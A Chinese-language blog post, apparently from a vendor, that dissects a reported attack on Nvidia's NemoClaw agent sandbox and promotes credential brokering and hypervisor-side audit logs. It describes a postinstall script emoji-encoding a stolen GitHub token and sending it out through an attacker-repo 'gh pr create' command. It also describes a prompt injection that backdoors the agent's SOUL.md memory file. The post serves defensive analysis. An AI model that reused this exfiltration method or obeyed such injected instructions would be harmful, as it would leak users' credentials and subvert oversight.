返回所有文章
发布于 · 作者 Renaud Deraison

那个保管着钥匙的沙箱

2026 年 5 月 18 日,Lasso Security 披露了针对 Nvidia NemoClaw 的两起攻击——NemoClaw 就是运行 OpenClaw 自主编码代理的那个沙箱。沙箱完全按照 Nvidia 描述的方式运转。沙箱里的代理依然把用户的 GitHub 令牌推送到了攻击者控制的拉取请求里,编码成 emoji,从而绕开了 GitHub 的静态密钥扫描器。有意思的问题不是沙箱是不是坏了,而是:一个把明文凭据文件放在自己内部的沙箱,从架构意义上说,到底算不算沙箱?以及,这个答案对所有在 2026 年发布编码代理的人意味着什么?

两件事可以同时为真。第一件是 Nvidia 的 NemoClaw 沙箱——它把 OpenClaw 自主编码代理装在一个特权 Docker 容器里运行的 K3s 集群 之中——的行为完全符合 Nvidia 的文档。第二件是 5 月 18 日,Lasso Security 发表了一篇报告:一个恶意的 npm postinstall 脚本,跑在 那个沙箱里,做的事情全都在沙箱配置允许的范围内,却从一个明文 配置文件里读出了用户的 GitHub 令牌,把它编码成 emoji 以击败 GitHub 的密钥扫描器,再通过出口策略好心放进白名单的 gh 二进制把结果推到了攻击者控制的拉取请求里。Nvidia 的回复是这件 事不在漏洞赏金范围之内,理由是沙箱的行为完全符合其配置。 这种说法,绝大多数搞安全的人都会觉得熟悉——它既正确,又没 说到点子上。

这个故事三句话就讲完了。2026 年 5 月 18 日,Lasso Security 发表了 一条针对 NemoClaw 的攻击链——NemoClaw 是 Nvidia 用来运行 OpenClaw 的沙箱,OpenClaw 跟 Claude Code、Cursor 的代理或 Codex CLI 一样,是被授权可以替用户执行 npm installgh pr creategit push 的自主编码代理。攻击链有两半:凭据外泄的一半,恶意包 读取了 /sandbox/.openclaw/openclaw.json(一个明文文件,里面 和 Anthropic、OpenAI、Gemini、Nvidia 服务的密钥一起放着用户的 GitHub 令牌),用一个运行时构建的查找表把令牌改写成 emoji 序列, 再通过白名单中的 gh 二进制把编码后的载荷推到一个公开的 PR;以 及持久化的一半,植入在某个例行源文件中的提示词注入诱使代理改写自 己的 SOUL.md——OpenClaw 的行为记忆文件——加入一个能在后续每 个会话中存活下来的后门。 BDTechTalks 当天就跟进了这次披露;Nvidia 的回复在两篇文章里都被引用:沙箱 的行为完全符合其配置,而这些场景不在该计划范围之内

Nvidia 的回复,在狭义的技术层面上是对的。沙箱就是沙箱。K3s Pod 就是 K3s Pod。那条允许 ghgithub.com 通信的出口策略, 就是一条允许 ghgithub.com 通信的策略。什么都没逃出能力 边界。什么都没提权。容器没有突破。从运行时的角度看,所有离开 沙箱的字节都是通过用户已经同意可以出去的二进制、发往用户已经 同意它可以联系的目的地。

只不过那个离开沙箱的字节,是用户的 GitHub 令牌,写成了一串卡通 表情。

攻击链里乏味的那部分。

我们慢慢走一遍凭据那半部分,因为这套机制本身就是整个论点。代理 接到一个任务——某件平平无奇的事,比如"按这个 GitHub README 搭建这个新项目"——而 README 的步骤里某个地方写着大致相当于 npm install some-helpful-package 的指令。这个包是恶意的,但 是用今天每周一百个 npm 包变恶意的那种平淡方式:它是某个最近被 攻陷的包的 typosquat 或传递依赖,并且附带一个 postinstall 脚本。这个 postinstall 脚本做了三件事,单独看每一件都是允许的, 合起来看是灾难。

它读 /sandbox/.openclaw/openclaw.json。这个文件就在沙箱的文件 系统里;脚本就跑在沙箱里;没人告诉文件系统不要可读,因为如果连 存着 GitHub 令牌的那个文件都读不了,代理自己怎么用 GitHub 令牌? 脚本把里面 ghp_… 的值取出来。

它加载随恶意包一起发布的 emoji_map.json,这个文件把每个字母数字 字符映射成一个 emoji——一个完全普通的 JSON 文件,在静态扫描里 完全无害,正是 Markdown 格式化器或聊天客户端可能合法地携带的那种 东西。脚本逐字符遍历令牌,生成一串像 🍕🍔🌮🍟… 这样的字符串, 一个 emoji 对一个字符。

它对着攻击者控制的仓库运行 gh pr create,把那串 emoji 当作 PR 正文。从出口策略的角度看,这就是 gh 在跟 github.com 通信, 也是白名单允许 gh 做的唯一一件事。PR 被创建出来。在攻击者那一 端,一个脚本读取 PR 正文,反转映射表,把 ghp_… 重建出来。GitHub 的密钥扫描器也看到了这个 PR 正文,但 GitHub 的密钥扫描器在找 ghp_[A-Za-z0-9]{36},不是在找 🍕🍔🌮🍟。

Lasso 的研究员 Noy Pearl 在披露中说得很直白:"我们选择 emoji 编码这条路径,就是为了绕开 GitHub 的静态扫描",以及*"只要代理 跟外部世界还有连接,就没有任何静态机制能完全保护你。"* 到这一步 你点点头说,是的,显然,你不可能把一个能携带任意字节的协议放进 白名单,然后还对任意字节穿过它感到惊讶。一个允许 gh 的 L7 白 名单,就是一个允许任何能被序列化进 PR 正文的东西的白名单,也 就是任何东西。

NEMOCLAW 沙箱 — 特权 Docker 容器里的 K3s Pod,出口白名单 gh → github.comOPENCLAW 代理> 按 README.md 搭建项目工具: bashnpm i helpful-pkg↳ postinstall 运行 就在沙箱里凭据文件/sandbox/.openclaw/ openclaw.json "github": "ghp_real_…" "anthropic": "sk-ant…" "openai": "sk-…" "nvidia": "…"EMOJI_MAP.JSON(包自带)"g": 🍕, "h": 🍔, "p": 🌮"_": 🍟, "r": 🥗, "e": 🍣"a": 🍩, "l": 🍪, …静态扫描器:「这只是个 JSON 文件」postinstall:遍历令牌,输出 emojighp_real_xxx → 🍕🍔🌮🍟🥗🍣🍩🍪…出口 — gh 已在 github.com 的白名单上,因此被允许$ gh pr create --repo attacker-handle/totally-normal-repo --title "fix: typo in readme" --body "🍕🍔🌮🍟🥗🍣🍩🍪…"出口策略:gh → github.com ✓GitHub 密钥扫描器:正则匹配不到 🍕沙箱 L7 过滤器:只是个 PR 而已PR 已打开。正文是公开的。攻击者 — 在沙箱之外,读取公开 PRwebhook:PR 已打开读取正文,反转 emoji_map🍕🍔🌮🍟🥗🍣🍩🍪… → ghp_real_…令牌已恢复;沙箱从未被突破图里的每一支箭头都是沙箱配置「允许」的。教训是结构性的,不是配置性的。
Lasso 外泄链路自上而下。代理执行 npm install。一个 postinstall 脚本在沙箱里读取 /sandbox/.openclaw/openclaw.json——这个文件是沙箱专门放在那里好让代理自己能向 GitHub 认证的——提取 ghp_ 令牌,到恶意包附带的 emoji_map.json 里逐字符查表(一个看上去无害、能通过任何静态扫描的 JSON 文件),输出一串 emoji。然后它调用 gh——沙箱的 L7 出口策略针对 github.com 已经把 gh 放进白名单——创建一个 PR,正文就是那串 emoji。GitHub 的密钥扫描器看到了这个 PR;它在找 ghp_[A-Za-z0-9]{36},不是在找卡通食物。攻击者那边,一个 webhook 读取 PR 正文并反转映射。令牌现在是公开的了。沙箱做的事情,跟它声称要做的事情一模一样。

持久化那一半——SOUL.md——在机制上不同,但在哲学上一样。根据 Lasso 的报告,OpenClaw 维护着一份叫 SOUL.md 的行为记忆文件,代理在每 次会话开始时读取它:规则、系统指令、关于用户偏好的累积上下文。 代理也可以这个文件,因为长期记忆的整个前提就是代理应当能 够更新自己的信念。在代理日常处理的某个看上去再正常不过的源文件 里植入提示词注入——Lasso 给的例子是一份纯文本文件,里面用训练 数据的语气写着指令——会让代理把一条后门规则追加进 SOUL.md。 后续会话再加载 SOUL.md。后门,按照代理对自身的描述,现在已经 是代理的偏好。Pearl 针对 Nvidia「行为符合配置」式辩护的反驳很 锐利:「沙箱行为符合配置」在沙箱里跑的是确定性程序时是个不错 的论点。一旦你换成 LLM 驱动的代理——它的行为在运行时被它读进的 每一段文字塑造——这个论点就站不住脚了。

文件里的令牌就是文件里的令牌。

在讨论 Bromure 对这一切做了什么之前,我想先写下这句架构层面的话: 一个长期存活、以明文文件形式放在和代理执行的代码同一个爆炸半径 里的密钥,对任何能在那个爆炸半径里跑代码的攻击者来说,等价于 一个公开的密钥。 沙箱改变不了这一点。K3s Pod 改变不了这一点。 出口白名单也改变不了——因为出口白名单本来就允许跟 GitHub 通信, 而跟 GitHub 通信——按设计、按用户意图、按代理存在的全部理由 ——正是恶意包要走的同一个通道。

这个问题有一个被很好理解的解法,比 AI 代理早了几十年,而安全 行业从 1990 年代就一直在悄悄使用。解法是把密钥放到一个进程边界 的另一侧,去中介它的使用,而不是它的取值

教科书式的例子就是 ssh-agent。你的 SSH 私钥住在 ssh-agent 进程持有的一段内存里。ssh 需要认证时,它不会说"把钥匙给我"; 它把挑战字节通过一个 Unix 域套接字发过去,然后拿回来一个签名。 钥匙从来没穿过那个套接字。在同一个用户下运行的恶意二进制可以 让 ssh-agent 替它签东西,没问题——这本来就是 agent 存在的意义 ——但它读不到钥匙,复制不了它,外泄不了它,也寄不回家。会话 结束时,钥匙跟着进程一起死掉。WebAuthn 对浏览器做了结构上相同 的事:私钥住在 TPM 或 Secure Enclave 里,页面让浏览器签一个挑战, 页面看不到钥匙。整个行业花了十年逐步抛弃 localStorage 里的密码 的过程,眯起眼睛看就是 NemoClaw 需要做的同一种迁移。只不过往上 挪一层。

对 GitHub 也一样有效。gh CLI 自带一个 credential helper,在 macOS 上可以把令牌存进 Keychain,而不是放在明文配置文件里。对沙箱场景 更有用的是,GitHub Apps 颁发的是安装令牌:短寿命(通常一小时), scope 限定到特定仓库,且可撤销;一个跑在沙箱外面的签名代理可以按 需铸一个出来,挂在代理发出的请求上,再把结果转回去。沙箱看到的 是一个普通的 HTTP 响应。沙箱看不到令牌。恶意 postinstall 脚本 向被中介的端点请求"把令牌给我",最多拿到一个一小时、仅限一个 仓库的令牌——足够做代理本来就替用户做的那点事,但不够值得外泄。

沙箱(Bromure 按配置文件隔离的 VM)— 恶意 postinstall 脚本能看到的东西编码代理$ gh pr create … → /var/run/cred.sockenv 里没令牌磁盘上没令牌文件系统 & ENV — 没有明文凭据/sandbox/.openclaw/openclaw.json文件不存在$GH_TOKEN未设置$GITHUB_TOKEN未设置/var/run/cred.sockUnix 套接字 → 宿主代理POSTINSTALLcat openclaw.json ENOENTenv | grep TOKEN (空)进程 / VM 边界 — 只允许 RPC,取值永不跨越宿主机 — 凭据代理持有真正的密钥真正的凭据保险库macOS Keychain / ssh-agentid_ed25519(私钥)gh credential helperghp_real_…GitHub App 私钥→ 铸 1h scope 限定令牌和 ssh-agent(1995)同一种模式。和 WebAuthn(2018)同一种模式。签名代理 — 使用密钥,从不暴露密钥listen /var/run/cred.sock RPC:「替我给仓库 X 签这次 git push」 铸安装令牌,scope=X,ttl=1h 出口时挂上 Authorization 头 转发 HTTPS,返回响应RPC「把令牌给我」→ 未实现RPC:请替我 push
凭据中介对同一条攻击链的改变。明文 openclaw.json 没了;取而代之的是一个跑在沙箱之外、跑在宿主机上的凭据代理。沙箱里的代理需要 push 一个 commit 时,会通过一个 Unix 域套接字跟宿主侧的代理通信。代理持有真正的长寿命 GitHub 凭据(或者更好,一个按需铸造短寿命安装令牌的 GitHub App)。代理把凭据挂到出站请求上,转发出去,把响应交回沙箱。令牌从未进入沙箱的内存或文件系统。恶意 postinstall 脚本扫沙箱文件系统,找不到任何可以编码的令牌。恶意 postinstall 脚本请求代理替它签东西,最多拿到一个一小时、scope 限定为代理本就已经被授权操作的那个仓库的令牌——这是 ssh-agent 自 1990 年代起就给 Unix 用户的那种姿态,只是搬到了 GitHub 上。

这个模式在每一个使用它的领域都有名字——ssh-agent、WebAuthn、HSM 辅助签名、gh 的 credential helper、AWS IAM Roles Anywhere——而它 底层的性质始终是同一条:凭据的消费者是和凭据的持有者不同的进 程,二者通过一个比「读取这些字节」更窄的通道通信。 这就是"代 理能向 GitHub 认证"和"代理能读 GitHub 令牌"之间的差别。一个把 这一点搞错了的沙箱,是一个把前门钥匙留在了你担心的那群人所在的 那一侧的门后的沙箱。

明确地说,这正是 Bromure 为运行你的编码代理的那个按配置文件隔离 的 VM 做的事。VM 里的代理通过一个被转发的 Unix 域套接字跟 macOS 宿主上的凭据代理通信来向 GitHub 认证;GitHub 令牌(或者更好, 那个用来铸造短寿命 scope 限定令牌的 GitHub App 私钥)住在 hypervisor 宿主一侧,住在 macOS Keychain 里,VM 看不到它。代理永远读不到密 钥的值,它只能通过代理使用它。一个跑 cat /sandbox/.openclaw/openclaw.jsonpostinstall 脚本什么也找不到;一个跑 env | grep TOKEN 的 什么也找不到;一个请求代理"请把令牌给我"的,会发现代理的 RPC 词汇表里根本没有这个动词。同样的姿态——它已经在 SSH 上用了三十 年——被应用到了 GitHub 代理上。

一条客气的建议不是边界。

Lasso 的 emoji 戏法,在更深一层意义上,是对白名单的评论。出口策略 允许 ghgithub.com 通信。隐含的假设是:ghgithub.com 之间会做的事情,都是合理开发者想做的事情——克隆、推送、开 PR、 评论 issue。但 gh pr create --body "$ANYTHING" 按构造就是一个 能把任意字节送到一个公开可读目的地的原语。你不可能既把这个原语 放进白名单,又防止任意字节穿过它。白名单做的事情和它说要做的事 情是一致的。只不过它做的事情跟你以为它说的事情不一样。

这是 Lasso 报告里那个应该让所有在生产里跑代理的人都坐下来的部分。 一个允许某种能携带任意字节的协议的 L7 白名单,不是边界。它是 一条客气的建议:希望协议里的字节就是你心里想的字节。 字节在 PR 正文里、在 commit 消息里、在 issue 评论里、在 git-LFS blob 里、 在作为 release asset 上传的 tarball 元数据里——协议本身就是泄漏 点。没有任何静态过滤器能"理解"一个合法的、emoji 很多的 PR("我 们组用 🍰 表示发布")和一个 emoji 编码的 GitHub 令牌之间的差别, 因为差别是语义层面的,而过滤器是语法层面的。

那么什么能检测到这种攻击?诚实的答案是:没有任何单一技巧能 做到;能做到的结构是一种组合,每一块单独看都不出彩。

第一块是按会话的出口字节预算。 一个工单写着"修一个 README.md 里的拼写错误"的会话,永远、不应、出于任何理由把 14 KB 的二进制 blob 推到一个 PR 正文里。你不必知道那些字节是什么;你只需要知道 这次会话本来该交付什么。工单的形状和出口形状的不匹配是可以计算 的——但前提是有某个在代理之外的东西把工单和出口记在同一个地方。 代理自己的自述不算数;代理就是那个被怀疑的对象。

第二块是对出站 git 操作做内容形状异常检测。 一个 95% 内容 都是 emoji、或 95% 是 base64、或 95% 是 hex 的 PR,出现在一个历 史上从没有过此类 PR 的仓库里,就是一个红旗。它不是证据;它是 一个红旗。计算这个红旗的合适地方是出口代理,它在出站请求离开 宿主前就能看到。Bromure 的 hypervisor 层代理就是那个能在不信任 访客的前提下做出这个计算的地方——因为访客正是被怀疑的对象。

第三块是会话结束时把离开盒子的东西和这次会话本来要产出的东西 做 diff。 会话结束时,VM 已经产出了一组出站 HTTP 请求、一组对 挂载项目的文件写、一组 git commit。如果会话工单是"修一个拼写错 误",而出站请求包含 POST /repos/attacker-handle/random-repo/pulls, 这就是一个能用两行展示给人看的 diff。不一定阻断——有时候代理确 实需要做出一些出乎意料的事——但要展示。2026 年大多数编码代理 产品的默认值是"信我,跑通了",而用户即便想检查,也没有可检查的 工件。

审计流水线就是那个工件。

到这里值得把 Bromure Enterprise 实际交付的东西大声说一遍——因为 另一个选项,也就是依赖代理自己写的日志,正是把 NemoClaw 推到今天 这个境地的原因。代理的日志是代理自己写的。如果代理被一份中毒的 SOUL.md 指示就自己做过什么事撒谎,那么代理的日志就会就自己做过 什么事撒谎。能产出代理行为真实记录的地方只有一个,那就是代理下 面那一层。

Bromure Enterprise 在 hypervisor 宿主一侧把**"整个会话——工具调 用、shell 命令、文件编辑、退出码"** 当作 JSON Lines 记录下来。追 踪默认开启;工程师不需要去主动启用;VM 里跑的是未经改动的 Claude Code、Codex 或 Cursor。这条流被**"在 VM 之外捕获为一条防篡改的 JSON Lines 流,并送到你已经在喂的日志槽(SIEM、数据湖、留存归档)"**。 VM 内部被攻陷的依赖无法把它擦掉,因为写入发生在 hypervisor 边界 另一侧——那个依赖根本越不过去。

有意思的后果是:

  • "这次会话是不是 push 到了一个不是用户的仓库" 是一次 grep。 不是比喻意义上的 grep。是真的对昨天的 JSON Lines 跑 grep。
  • "这次会话是不是开了一个正文不像散文的 PR" 是对捕获到的 工具调用载荷跑一次正则。
  • "有没有任何东西改过 SOUL.md" 是对文件编辑事件的一次 查询。如果某个 postinstall 脚本改写了代理的身份文件,这个 事实就在追踪里,不管代理自己有没有提过。
  • 回放。 追踪是挂在某个 PR 上的。审阅者读到的是 diff 生成这个 diff 的那串 prompt、工具调用和 shell 命令。或者,用 Bromure 产品页的原话:"replay the day the model decided to delete the migrations folder."(重放那一天,模型决定把 migrations 目录删掉的那一天。)取证回放是这个故事里别处都没有的部分,因 为它要求把输入、输出和模型回复都捕获到同一条流里——而代理自 己没法产出这条流,除非先被信任不会撒谎。

这些都抓不到一个铁了心要把外泄数据包装得像散文一样的攻击者;面对 愿意花字节做伪装的对手,不存在什么边界。它能抓到的是每一个没 有这样做的攻击者——也就是大多数——并且它产出的取证记录能把 下一次事件从"我们完全不知道代理干了什么"变成"我们手里有昨天 会话追踪的第 14,332 行"。2026 年那种"代理说成功了"的默认值,相 当于在一台没有日志的服务器上跑生产。

那会话里面的提示词注入怎么办?

值得明确地说清楚 VM 隔离不会修好什么——因为最有可能读到这篇 文章的人,也最有可能被卖反向产品的人告知"VM 是万灵药"。它们 不是。

SOUL.md 后门——以及任何在会话过程中起效的提示词注入——是跑在 VM 里的,权限就是用户给代理的权限。如果用户告诉代理"在这个仓库 里开一个 PR",那提示词注入就能在这个仓库里开一个 PR。如果代理对 项目目录有写权限,那提示词注入就能把一个后门写进项目目录。VM 不会去审 diff。VM 做的事是把 diff 和它的来源保留在一个能让人事后 查看的地方——而这恰好就是之前缺的那一块。

VM 隔离加上凭据中介确实修好的是那个灾难性的部分——一个糟糕的 postinstall 卷走永久 GitHub 令牌、永久 npm 令牌、你的 AWS 凭据 以及开发者笔记本上 root 的那个部分。这些凭据没有一个住在 VM 里; 凭据住在宿主的 Keychain 里,只能通过一个 RPC 词汇表里没有"把字 节给我"这个动词的代理来访问。一个代理能通过 proxy 使用的令牌, 就是一个代理无法外泄的令牌——因为外泄需要先拥有要发送的字节。

在一个 Bromure 托管的 OpenClaw 等价物里,攻击者剩下的能力—— 也就是一旦他们对代理做了提示词注入之后还能做什么——是让代理 在会话的授权范围内做一些用户没打算做的事。开一个标题奇怪的 PR。 改写项目里的 SOUL.md。加一个自己的 postinstall。这些都是 可观察事件:每一次文件编辑都落进 JSON Lines 审计流;每一个 出站请求都落进出口代理;每一个 prompt 和工具调用都被记录在代理 之外。VM 不被要求阻止被提示词注入过的代理做范围内的坏事—— 它被要求把这些坏事变成可见的、并限制在会话之内,让宿主保持干 净,让用户手里有一条可读的追踪。VM 内部的持久化仍然可能;但 任何人都看不到的 VM 内部持久化不可能——这是一个有意义的区别。

加上凭据中介之后,对一个 Bromure 托管代理的攻击的最坏情况看起 来是这样:代理交付一个糟糕的 PR,落在它本来就被授权操作的那个 仓库里,使用的是一个短寿命的安装令牌,每一步都出现在宿主上一 份防篡改的日志里。这不是零损失。但它离"攻击者拿到了我的永久 GitHub 令牌,以 emoji 形式外泄,加上一个驻留在代理行为文件里 的持久后门,加上完全没有任何记录"非常非常远。

真正属于结构性的,是什么?

如果你顺着读 Lasso 的报告和 Nvidia 的回复,分歧其实并不在 NemoClaw 是不是有一个值得 CVE 编号的 bug。Nvidia 是对的,沙箱 做了它被配置去做的事。Lasso 是对的,被配置去做的那些事不够。 分歧在于:信任边界应该画在哪里。

Nvidia 在 Pearl 引用的那段回复里,把边界画在"被配置的策略"上。 策略之内,什么都允许;策略之外,客户自己处理。对一个基础设施 厂商来说,这是一种正常的共担责任立场。但它不是对 Lasso 演示的 那种失败模式的防御——因为那种失败模式发生在策略之内。策略 允许 ghgh 能携带令牌。策略既自洽,又不充分。

结构性的替代方案——这个博客的 agentic coding 系列文章六个月来 用各种不同的语言反复主张的立场——是把边界画在凭据观察 上,而不是画在二进制目的地上。凭据中介说:凭据从不进入沙 箱。hypervisor 层的审计流水线说:代理在沙箱里做的任何事,都被 一个代理写不进去、也关不掉的东西捕获着。两者合在一起,造出一种 沙箱——在里面,恶意 postinstall 能做的最坏的事,就是代理被授权 做的最坏的事,在它本来就在动的那个仓库里,用着它没法外泄(因 为它从未拥有)的凭据,并且每一次敲键的证据都躺在你的 SIEM 里。

Nvidia 的人没有错。OpenClaw 的架构就是今年发布的每一个编码代理 的架构,包括那些完全不跑在沙箱里的编码代理。Lasso 在 NemoClaw 里发现的东西,从结构上来说,就是 Wiz、Snyk、Socket 每隔一个星期 二都会在 Cursor、Windsurf 和 GitHub Copilot 的 YOLO 模式里发现的 东西。问题这一类是"长期存活的明文凭据,对代理跑的任何东西都可 访问,而对于代理用它们做过什么没有任何记录",而修法这一类是 "中介凭据、观察会话、留好证据"。

最后一件事。

这篇文章有一个版本,里头的教训是"别信沙箱"。那个版本是错的。 沙箱很好。还有一个版本,教训是"AI 代理太危险了,不该部署"。那 个版本,从实际意义上说,不相关——它们已经被部署了,问题是怎么 部署。能站得住脚的版本是这一个:沙箱不再被要求做沙箱按构造做不 到的事。

沙箱不能在一个跑在它内部的进程面前藏住凭据。沙箱不能分辨一个 emoji PR 正文和一个 emoji 编码的令牌之间的差别。沙箱不能把一个 长的、放进白名单的协议变成一个短的协议。沙箱做的事是:把凭 据放在别处,把代理放在一个 hypervisor 看得见它每一步动作的地方, 然后把那份记录写到一个代理够不到的槽里。这就是那种配置——在那 里,同一个恶意 npm 包、同一种 postinstall 脚本,会发现一个空的 文件系统、一个唯一动词是"短暂地替我签这个东西"的凭据套接字, 以及墙另一边一个一直在把整场对话抄下来的 hypervisor。

Bromure Agentic Coding 就是那种把这一切当作 默认配置的版本。它免费、开源、今天就发布。下一个 emoji 已经在 上传了。